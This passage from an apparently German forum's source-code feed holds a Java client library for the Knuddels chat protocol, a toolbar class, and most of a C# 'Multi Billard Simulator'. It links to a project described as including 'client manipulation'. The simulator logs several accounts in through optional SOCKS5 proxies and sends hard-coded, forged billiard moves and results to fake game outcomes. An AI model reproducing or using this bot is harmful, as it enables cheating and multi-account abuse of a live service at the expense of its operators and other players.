&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.write(encode(buffer));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void login(String nickname, String password, String channel) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(&quot;n\000&quot; + channel + &quot;\000&quot; + nickname + &quot;\000&quot; + password + &quot;\000F&quot;);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void sendMessage(String message, String channel) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(&quot;e\000&quot; + channel + &quot;\000&quot; + message);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getButler() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return butler;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void onReceive(String token) {<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void run() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.write(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send(&quot;t\000&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InputStream in = socket.getInputStream();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (true) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = decode(in);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String token;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; synchronized (groupChat) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token = groupChat.decompress(buffer);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (token.startsWith(&quot;(\000&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] tokens = token.split(&quot;\000&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String key = tokens[3].trim();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decodeKey = key.getBytes();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; passwordKey = tokens[1] + key.substring(1);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (nickname != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; login(nickname, password, channel);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nickname = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (token.startsWith(&quot;,&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (token.length() == 1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send(&quot;h\000-&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send(&quot;h\000&quot; + token.substring(2));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (token.startsWith(&quot;5\000&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; butler = token.substring(2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onReceive(token);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; } finally {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disconnect();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private byte[] encode(byte[] message) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int length = message.length - 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte[] len;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (length &lt; 128) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = new byte[] { (byte) length };<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int count = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (32 &lt;&lt; (count + 1 &lt;&lt; 3) &lt;= length) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = new byte[count + 1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len[0] = (byte) (count &lt;&lt; 5 | 0x80 | length &amp; 0x1F);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 1; i &lt; len.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len[i] = (byte) (length &gt;&gt;&gt; 8 * (i - 1) + 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = new byte[len.length + message.length];<br />
&nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(len, 0, buffer, 0, len.length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(message, 0, buffer, len.length, message.length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private byte[] decode(InputStream in) throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte first = (byte) in.read();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (first == -1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new IOException(&quot;End of stream&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; int length;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (first &gt;= 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length = first + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length = (first &amp; 0x1F) + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int count = (first &amp; 0x60) &gt;&gt;&gt; 5;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; count; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length += in.read() &lt;&lt; (i &lt;&lt; 3) + 5;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = new byte[length];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer[i] = (byte) ((byte) in.read() ^&nbsp; (decodeKey != null &amp;&amp; i &lt; decodeKey.length ? decodeKey[i] : 0));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Edit: Hier noch das ganze Projekt inkl. der Client-Manipulation: <a href="http://ul.to/f5gcuex7" target="_blank" rel="nofollow">http://ul.to/f5gcuex7</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-library-kjlib-31648</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Toolbar]]></title>
			<link>sourcecode-91/java-toolbar-31684?goto=newpost</link>
			<pubDate>Fri, 22 Apr 2011 18:41:09 GMT</pubDate>
			<description>Kann sowohl Server seitig als auch Client seitig genutzt werden. 
 
*ToolbarButton.java* 
 
Code: 
--------- 
/** 
 * 
 * @author Flav 
 */</description>
			<content:encoded><![CDATA[<div>Kann sowohl Server seitig als auch Client seitig genutzt werden.<br />
<br />
<b>ToolbarButton.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ToolbarButton {<br />
&nbsp; &nbsp; private String label;<br />
&nbsp; &nbsp; private String action;<br />
&nbsp; &nbsp; private String icon;<br />
&nbsp; &nbsp; private boolean left;<br />
<br />
&nbsp; &nbsp; public ToolbarButton(String label, String action, String icon, boolean left) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.label = label;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.action = action;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.icon = icon;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.left = left;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getLabel() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return label;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getAction() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return action;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getIcon() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return icon;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isLeft() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return left;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Toolbar.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.util.ArrayList;<br />
import java.util.List;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Toolbar {<br />
&nbsp; &nbsp; private static List&lt;ToolbarButton&gt; buttons;<br />
<br />
&nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buttons = new ArrayList&lt;ToolbarButton&gt;();<br />
&nbsp; &nbsp; &nbsp; &nbsp; addButton(new ToolbarButton(&quot; Sex &quot;, &quot;&quot;, &quot;&quot;, true));<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static void addButton(ToolbarButton button) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buttons.add(button);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static void removeButton(ToolbarButton button) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buttons.remove(button);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String refresh(String channel) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return refresh(channel, false);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String refresh(String channel, boolean hide) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; PacketBuilder buffer = new PacketBuilder();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x3F);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeString(channel, true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!hide) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (ToolbarButton button : buttons) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x0B);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeString(button.getLabel(), true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeString(button.getIcon(), true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(button.isLeft() ? 0x01 : 0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.writeString(button.getAction(), true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x0C);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x0C);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String setColor(String channel) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; PacketBuilder buffer = new PacketBuilder();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x78);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeByte(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.writeString(channel, true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // bar<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x63, 0x9F, 0xFF }); // gradient top<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x4E, 0x69, 0xFF }); // gradient bottom<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x26, 0x3E, 0xFF }); // background<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // buttons<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x63, 0x9F, 0xFF }); // gradient top<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x4E, 0x69, 0xFF }); // gradient bottom<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x32, 0x4B, 0xFF }); // background<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x63, 0x9F, 0xFF }); // gradient top<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x4E, 0x69, 0xFF }); // gradient bottom<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.write(new int[] { 0x32, 0x4B, 0xFF }); // background<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Die Modes (hier 0x3F und 0x78) müssen bei einem Protokol-Update öfters mal angepasst werden, alternativ kann man das Protokol aber auch faken.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-toolbar-31684</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Multi Billard Simulator]]></title>
			<link>sourcecode-91/c-multi-billard-simulator-31030?goto=newpost</link>
			<pubDate>Fri, 22 Apr 2011 18:26:39 GMT</pubDate>
			<description>*Master.cs* 
using KNLib; 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Net.Sockets; 
using System.Text; 
using...</description>
			<content:encoded><![CDATA[<div><b>Master.cs</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using KNLib;<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Net.Sockets;<br />
using System.Text;<br />
using System.Text.RegularExpressions;<br />
using System.Threading;<br />
<br />
namespace Billard_Simulator<br />
{<br />
    public class Master : KNClient<br />
    {<br />
        private RemoteEndpoint endpoint;<br />
        private String nickname, password;<br />
        private String channel;<br />
        private Dictionary&lt;String, String&gt; tables;<br />
        private int count;<br />
        private Object countLock;<br />
<br />
        public Master(String chatsystem, String nickname, String password)<br />
        {<br />
            switch (chatsystem)<br />
            {<br />
                case &quot;Mainfranken-Chat&quot;:<br />
                    endpoint = RemoteEndpoint.MFC;<br />
                    break;<br />
                case &quot;Knuddels.ch&quot;:<br />
                    endpoint = RemoteEndpoint.CH;<br />
                    break;<br />
                case &quot;Knuddels.at&quot;:<br />
                    endpoint = RemoteEndpoint.AT;<br />
                    break;<br />
                default:<br />
                    endpoint = RemoteEndpoint.DE;<br />
                    break;<br />
            }<br />
<br />
            this.nickname = nickname;<br />
            this.password = password;<br />
            channel = &quot;9-Ball&quot;;<br />
        }<br />
<br />
        public String getNickname()<br />
        {<br />
            return nickname;<br />
        }<br />
<br />
        public void Connect(String proxy)<br />
        {<br />
            try<br />
            {<br />
                if (proxy.Equals(String.Empty))<br />
                {<br />
                    Connect(endpoint);<br />
                }<br />
                else<br />
                {<br />
                    String&#91;&#93; socks5 = proxy.Split(':');<br />
                    Connect(endpoint, socks5&#91;0&#93;, Int32.Parse(socks5&#91;1&#93;));<br />
                }<br />
<br />
                Simulator.Get().Log(&quot;Master&quot;, &quot;Verbunden.&quot;);<br />
            }<br />
            catch (SocketException)<br />
            {<br />
                Simulator.Get().Log(&quot;Master&quot;, &quot;Verbinden fehlgeschlagen.&quot;);<br />
            }<br />
        }<br />
<br />
        private void SendDelayed(String token)<br />
        {<br />
            lock (countLock)<br />
            {<br />
                Send(token);<br />
                count++;<br />
<br />
                if (count == 2)<br />
                {<br />
                    count = 0;<br />
                    Thread.Sleep(4500);<br />
                }<br />
            }<br />
        }<br />
<br />
        public override void OnReceive(String token)<br />
        {<br />
            String&#91;&#93; tokens = token.Split('\0');<br />
<br />
            switch (tokens&#91;0&#93;)<br />
            {<br />
                case &quot;=&quot;:<br />
                    switch (tokens&#91;2&#93;)<br />
                    {<br />
                        case &quot;a&quot;:<br />
                            SendDelayed(String.Format(&quot;b\0{0}\0a&quot;, tables&#91;tokens&#91;1&#93;&#93;));<br />
                            break;<br />
                        case &quot;b&quot;:<br />
                            new Thread(new ThreadStart(delegate<br />
                            {<br />
                                Thread.Sleep(30 * 1000);<br />
                                SendDelayed(String.Format(&quot;b\0{0}\0b\09\01351.0885235293317\0-281.4885614620557\0-133.32351868748881&quot;, tables&#91;tokens&#91;1&#93;&#93;));<br />
                                SendDelayed(String.Format(&quot;b\0{0}\0a\032\01\00\09\01\00\02\01\02\04\01\00\01\01\04\06\01\06\07\01\01\03\01\00\09\01\03\05\01\05\06\01\02\08\01\00\01\01\01\08\02\04\01\02\07\016\02\04\016\01\04\08\01\04\05\02\07\013\01\01\04\02\05\016\02\03\013\01\04\05\02\03\016\02\09\01\03\05\028\02\04\013\03\05\032\02\08\08\04\08\03\02\01\013\04\07\02\0173.87448089616535\0180.1360081643251\0301.94548868562856\0319.8297799721764\0142.0796241619943\0128.91093717632114\080.59166953172453\0261.3320826816378\0209.82758851912536\0270.86570125659506\066.8262917573852\0298.82576774953236\0119.72123774812964\0145.03626723480312\0-1\0-1\0-1\0-1\0333.6948428583014\097.18263518727728&quot;, tables&#91;tokens&#91;1&#93;&#93;));<br />
                            })).Start();<br />
<br />
                            break;<br />
                        case &quot;h&quot;:<br />
                            SendDelayed(String.Format(&quot;b\0{0}\0g\09\0481.0\0327.0&quot;, tables&#91;tokens&#91;1&#93;&#93;));<br />
                            break;<br />
                        case &quot;i&quot;:<br />
                            tables.Add(tokens&#91;1&#93;, tokens&#91;3&#93;);<br />
                            SendDelayed(String.Format(&quot;b\0{0}\0h&quot;, tokens&#91;3&#93;));<br />
                            break;<br />
                        default:<br />
                            break;<br />
                    }<br />
<br />
                    break;<br />
                case &quot;0&quot;:<br />
                    switch (tokens&#91;1&#93;)<br />
                    {<br />
                        case &quot;l&quot;:<br />
                            String nick = tokens&#91;3&#93;.Split('\x0A')&#91;0&#93;;<br />
<br />
                            foreach (Player player in Simulator.Get().GetPlayers())<br />
                            {<br />
                                if (player.getNickname().Equals(nick))<br />
                                {<br />
                                    SendDelayed(String.Format(&quot;e\0{0}\0/billard j:{1}&quot;, channel, nick));<br />
                                    break;<br />
                                }<br />
                            }<br />
<br />
                            break;<br />
                    }<br />
<br />
                    break;<br />
                case &quot;a&quot;:<br />
                    if (tokens&#91;1&#93;.Equals(channel))<br />
                    {<br />
                        nickname = tokens&#91;2&#93;;<br />
                        Simulator.Get().Log(&quot;Master&quot;, &quot;Eingeloggt.&quot;);<br />
                        tables = new Dictionary&lt;String, String&gt;();<br />
                        countLock = new Object();<br />
<br />
                        foreach (Player player in Simulator.Get().GetPlayers())<br />
                        {<br />
                            player.ConnectAndLogin(endpoint, channel);<br />
                        }<br />
                    }<br />
<br />
                    break;<br />
                case &quot;b&quot;:<br />
                    int id = 1, size = 0;<br />
                    int count = 1;<br />
                    bool isChannel = true;<br />
                    bool isBillard = false;<br />
<br />
                    for (int i = 1; i &lt; tokens.Length; i++)<br />
                    {<br />
                        if (isChannel)<br />
                        {<br />
                            String&#91;&#93; ch = tokens&#91;i&#93;.Split('\x0A');<br />
<br />
                            if (ch&#91;0&#93;.Equals(channel))<br />
                            {<br />
                                isBillard = true;<br />
                                size = Int32.Parse(ch&#91;1&#93;);<br />
                            }<br />
                            else if (ch&#91;0&#93;.Equals(&quot;&quot;&quot;) &amp;&amp; isBillard)<br />
                            {<br />
                                count++;<br />
<br />
                                if (Int32.Parse(ch&#91;1&#93;) &lt; size)<br />
                                {<br />
                                    id = count;<br />
                                    size = Int32.Parse(ch&#91;1&#93;);<br />
                                }<br />
                            }<br />
                            else<br />
                            {<br />
                                break;<br />
                            }<br />
<br />
                            isChannel = false;<br />
                        }<br />
                        else if (tokens&#91;i&#93;.Equals(&quot;-&quot;))<br />
                        {<br />
                            isChannel = true;<br />
                        }<br />
                    }<br />
<br />
                    if (id &gt; 1)<br />
                    {<br />
                        channel = String.Format(&quot;{0} {1}&quot;, channel, id);<br />
                    }<br />
<br />
                    Simulator.Get().Log(&quot;Master&quot;, String.Format(&quot;Channel festgelegt: {0}.&quot;, channel));<br />
                    Login(nickname, password, channel);<br />
                    break;<br />
                case &quot;k&quot;:<br />
                    token = token.Substring(2);<br />
                    tokens = token.Split('\xF5');<br />
<br />
                    switch (tokens&#91;0&#93;)<br />
                    {<br />
                        case &quot;Problem&quot;:<br />
                        case &quot;Nick Gesperrt&quot;:<br />
                            Simulator.Get().Log(&quot;Master&quot;, &quot;Login fehlgeschlagen.&quot;);<br />
                            break;<br />
                        case &quot;Billard - Frage&quot;:<br />
                            SendDelayed(String.Format(&quot;{0}\0{1}\0  Ja  \0&quot;, tokens&#91;1&#93;.Substring(1), tokens&#91;2&#93;));<br />
                            break;<br />
                        default:<br />
                            if (tokens&#91;0&#93;.Contains(&quot;Spiel von&quot;))<br />
                            {<br />
                                SendDelayed(String.Format(&quot;{0}\0{1}\0Spiel Beitreten\0&quot;, tokens&#91;1&#93;.Substring(1), tokens&#91;2&#93;));<br />
                            }<br />
<br />
                            break;<br />
                    }<br />
<br />
                    break;<br />
            }<br />
        }<br />
<br />
        public override void OnDisconnect()<br />
        {<br />
            Simulator.Get().Log(&quot;Master&quot;, &quot;Verbindung unterbrochen, Spieler werden ausgeloggt.&quot;);<br />
            Player&#91;&#93; players = new Player&#91;Simulator.Get().GetPlayers().Count&#93;;<br />
            Simulator.Get().GetPlayers().CopyTo(players);<br />
<br />
            foreach (Player player in players)<br />
            {<br />
                player.Disconnect();<br />
            }<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><b>Player.cs</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using KNLib;<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Net.Sockets;<br />
using System.Text;<br />
using System.Text.RegularExpressions;<br />
using System.Threading;<br />
<br />
namespace Billard_Simulator<br />
{<br />
    public class Player : KNClient<br />
    {<br />
        private String nickname, password, proxy;<br />
        private String channel;<br />
        private String request;<br />
        private String game;<br />
<br />
        public Player(String nickname, String password, String proxy)<br />
        {<br />
            this.nickname = nickname;<br />
            this.password = password;<br />
            this.proxy = proxy;<br />
        }<br />
<br />
        public String getNickname()<br />
        {<br />
            return nickname;<br />
        }<br />
<br />
        public void ConnectAndLogin(RemoteEndpoint endpoint, String channel)<br />
        {<br />
            new Thread(new ThreadStart(delegate<br />
            {<br />
                try<br />
                {<br />
                    if (proxy.Equals(String.Empty))<br />
                    {<br />
                        Connect(endpoint);<br />
                    }<br />
                    else<br />
                    {<br />
                        String&#91;&#93; socks5 = proxy.Split(':');<br />
                        Connect(endpoint, socks5&#91;0&#93;, Int32.Parse(socks5&#91;1&#93;));<br />
                    }<br />
                }<br />
                catch (SocketException)<br />
                {<br />
                    Simulator.Get().RemovePlayer(this);<br />
                    Simulator.Get().Log(nickname, &quot;Verbinden fehlgeschlagen.&quot;);<br />
                    return;<br />
                }<br />
<br />
                Simulator.Get().Log(nickname, &quot;Verbunden.&quot;);<br />
                this.channel = channel;<br />
                Login(nickname, password, channel);<br />
            })).Start();<br />
        }<br />
<br />
        public void Accept()<br />
        {<br />
            Send(String.Format(&quot;iv\0{0}\0  Ja  \0&quot;, request));<br />
            Simulator.Get().Log(nickname, &quot;Spielbeitritt von Master zugestimmt.&quot;);<br />
        }<br />
<br />
        public override void OnReceive(String token)<br />
        {<br />
            String&#91;&#93; tokens = token.Split('\0');<br />
<br />
            switch (tokens&#91;0&#93;)<br />
            {<br />
                case &quot;=&quot;:<br />
                    switch (tokens&#91;2&#93;)<br />
                    {<br />
                        case &quot;a&quot;:<br />
                            Send(String.Format(&quot;b\0{0}\0a&quot;, game));<br />
                            break;<br />
                        case &quot;b&quot;:<br />
                            Send(String.Format(&quot;b\0{0}\0b\09\0567.3807731341585\0133.10171691997812\0-239.42272261062402&quot;, game));<br />
                            Send(String.Format(&quot;b\0{0}\0a\01\04\09\02\0192.0015672698858\0192.00240592208564\0175.53794826824122\0201.5062959814314\0175.53549018501585\0182.49211938935622\0159.0709393495886\0211.0119896680176\0159.07322016127216\0172.98822495379144\0142.6049895903074\0201.50452661423168\0142.60917857505893\0182.4931737036524\0126.14118061088443\0191.99892199919526\0159.07218539067836\0191.99740058522752\0-1\0-1&quot;, game));<br />
                            break;<br />
                        case &quot;h&quot;:<br />
                            Send(String.Format(&quot;b\0{0}\0g\09\0481.0\0327.0&quot;, game));<br />
